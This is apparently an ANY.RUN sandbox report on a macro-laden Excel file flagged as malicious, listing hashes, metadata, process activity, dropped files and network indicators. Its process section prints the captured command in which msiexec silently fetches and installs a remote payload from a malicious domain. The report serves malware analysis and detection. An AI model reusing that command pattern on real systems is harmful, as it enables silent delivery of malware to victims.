analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

e321e467ca99933d67e231f76cfd4d8bf67659431c8eb5455bcf198d844364d3.xls

Full analysis: https://app.any.run/tasks/5b4f750e-736b-4361-a43a-a270ac90dd29
Verdict: Malicious activity
Analysis date: June 12, 2019, 03:41:22
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
Indicators:
MIME: application/vnd.ms-excel
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Author: Microsoft Office, Last Saved By: Microsoft Office, Name of Creating Application: Microsoft Excel, Create Time/Date: Thu May 16 01:04:00 2019, Last Saved Time/Date: Thu May 16 01:17:42 2019, Security: 0
MD5:

2B8B8C33527091AAA130E0EE3630DEF7

SHA1:

ABC2FF93D12F53CDDAB7773BD36E6A92E17C8008

SHA256:

E321E467CA99933D67E231F76CFD4D8BF67659431C8EB5455BCF198D844364D3

SSDEEP:

1536:QGbDG7XE0rMxLg/cJStxmGdfFaMueBz0VvClFtz1HmlIVbyh+F:Q0DL046/c60a9aMRBz0VOz1GlIs8

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Uses Microsoft Installer as loader

      • EXCEL.EXE (PID: 3148)

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 3148)

  • SUSPICIOUS

    No suspicious indicators.

  • INFO

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 3148)

    • Creates files in the user directory

      • EXCEL.EXE (PID: 3148)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xls | Microsoft Excel sheet (78.9)

EXIF

FlashPix

CompObjUserType: ???? Microsoft Office Excel
CompObjUserTypeLen: 28
HeadingPairs:
  • Листы
  • 1
TitleOfParts:
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 11.9999
Company: Microsoft Corporation
CodePage: Windows Cyrillic
Security: None
ModifyDate: 2019:05:16 00:17:42
CreateDate: 2019:05:16 00:04:00
Software: Microsoft Excel
LastModifiedBy: Microsoft Office
Author: Microsoft Office
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
34
Monitored processes
3
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start excel.exe no specs msiexec.exe no specs msiexec.exe

Process information

PID
CMD
Path
Indicators
Parent process
3148"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
3004"C:\Windows\System32\msiexec.exe" back=887 error=exit /i http://kupitorta.net/lsadat2 /q OnLoad="c:\windows\calc.exe" Aciqy=VIks1¶µ±C:\Windows\System32\msiexec.exe—EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
1619
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
2456C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Total events
731
Read events
620
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
1
Text files
0
Unknown types
1

Dropped files

PID
Process
Filename
Type
3148EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVRF75D.tmp.cvr —
MD5:—
SHA256:—
3148EXCEL.EXEC:\Users\admin\AppData\Local\Temp\~DF1890347938B1B9A4.TMP —
MD5:—
SHA256:—
3148EXCEL.EXEC:\Users\admin\AppData\Local\Temp\~DFE315C33DF3A40D87.TMP —
MD5:—
SHA256:—
3148EXCEL.EXEC:\Users\admin\AppData\Local\Temp\~DF33CD298BD6903F63.TMP —
MD5:—
SHA256:—
3148EXCEL.EXEC:\Users\admin\AppData\Local\Temp\~DF7C95810CE7D005CA.TMP —
MD5:—
SHA256:—
3148EXCEL.EXEC:\Users\admin\AppData\Local\Temp\~DF4915DE44B69E62D9.TMP —
MD5:—
SHA256:—
3148EXCEL.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:62952F02E7706216CADD311278325BF0
SHA256:84EA945708012FAD765A7AA53DBC4F3F3DA2B27496C46271C002F01F0BB78DB4
3148EXCEL.EXEC:\Users\admin\AppData\Local\Temp\e321e467ca99933d67e231f76cfd4d8bf67659431c8eb5455bcf198d844364d3.xlsdocument
MD5:99060C577382F2CCA21079C23FA3F872
SHA256:5FA97D291BA96B926E03FD49311465BFBE7BCF095D97C8F8567CA3D01FE82D38
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
2
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2456
msiexec.exe
GET
—
178.48.154.38:80
http://kupitorta.net/lsadat2
HU
—
—
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2456
msiexec.exe
178.48.154.38:80
kupitorta.net
Liberty Global Operations B.V.
HU
malicious

DNS requests

Domain
IP
Reputation
kupitorta.net
  • 178.48.154.38
  • 151.237.80.80
  • 79.100.208.102
  • 62.73.70.146
  • 203.91.116.53
  • 188.254.179.205
  • 193.33.1.18
  • 178.169.222.191
  • 5.204.10.100
  • 37.75.33.242
malicious

Threats

PID
Process
Class
Message
2456
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
e321e467ca99933d67e231f76cfd4d8bf67659431c8eb5455bcf198d844364d3.xls